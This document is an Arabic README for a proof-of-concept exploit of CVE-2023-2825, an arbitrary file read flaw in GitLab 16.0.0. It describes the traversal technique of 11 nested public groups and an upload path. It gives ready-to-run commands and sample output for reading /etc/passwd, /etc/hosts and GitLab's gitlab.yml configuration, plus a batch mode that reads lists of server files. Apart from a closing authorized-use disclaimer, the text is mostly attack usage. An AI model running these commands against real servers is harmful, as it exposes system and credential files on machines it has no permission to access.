
PoC لـ CVE-2023-2825: قراءة ملف تعسفية آلية لـ GitLab 16.0.0 عبر مجموعات عامة متداخلة، اجتياز تحميل المشروع، مسارات تحميل قابلة لإعادة الاستخدام، وإخراج CLI نظيف.
إثبات المفهوم لـ CVE-2023-2825، ثغرة قراءة ملفات تعسفية في GitLab CE/EE 16.0.0.
يقوم السكريبت بتسجيل الدخول باستخدام حساب GitLab صالح، وإنشاء هيكل المجموعات العامة المتداخلة المطلوب، وإنشاء مشروع عام، ورفع ملف مرفق، ثم استخدام سلوك اجتياز مسار الرفع الضعيف لقراءة ملف مستهدف من خادم GitLab.
كما يدعم إعادة استخدام مسار رفع موجود، بحيث لا تحتاج إلى إنشاء مجموعات ومشاريع جديدة في كل مرة تقرأ فيها ملفًا.
Python 3.8+
pip install -r requirements.txt
حزم Python المطلوبة:
beautifulsoup4
requests
urllib3
القيم المحصورة بين أقواس زاوية هي عناصر نائبة. استبدلها بقيمك الخاصة ولا تقم بتضمين الحرفين < أو .
>python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # Target GitLab base URL. Example: http://gitlab.local
<USERNAME> # Valid GitLab username.
<PASSWORD> # Valid GitLab password.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
مثال للإخراج:
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
بعد تشغيل ناجح، يطبع السكريبت مسار رفع قابل لإعادة الاستخدام:
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
استخدمه مع --reuse-path لتخطي تسجيل الدخول وإنشاء المجموعات وإنشاء المشروع والرفع:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
يمكنك أيضًا تمرير رابط كامل وحذف --url:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
أنشئ قائمة ملفات:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
قم بتشغيل:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
عدد المجموعات العامة المتداخلة التي سيتم إنشاؤها. القيمة الافتراضية: 11
--depth <N>
عدد أجزاء الاجتياز المستخدمة. القيمة الافتراضية: 12
--reuse-path <PATH_OR_URL>
دليل رفع مشروع موجود. يتخطى الإعداد ويقرأ الملفات مباشرة.
--only-final
إخفاء سجلات التقدم وطباعة محتويات الملفات فقط.
--no-color
تعطيل ألوان ANSI.
--debug
طباعة مسار الاجتياز المُنشأ للمساعدة في استكشاف الأخطاء.
--reuse-path كلما أمكن لتجنب إنشاء مجموعات ومشاريع غير ضرورية.إثبات المفهوم هذا مخصص لاختبارات الأمان المصرح بها، والبيئات المختبرية، والتحقق من الثغرات. لا تستخدمه ضد أي نظام دون إذن صريح.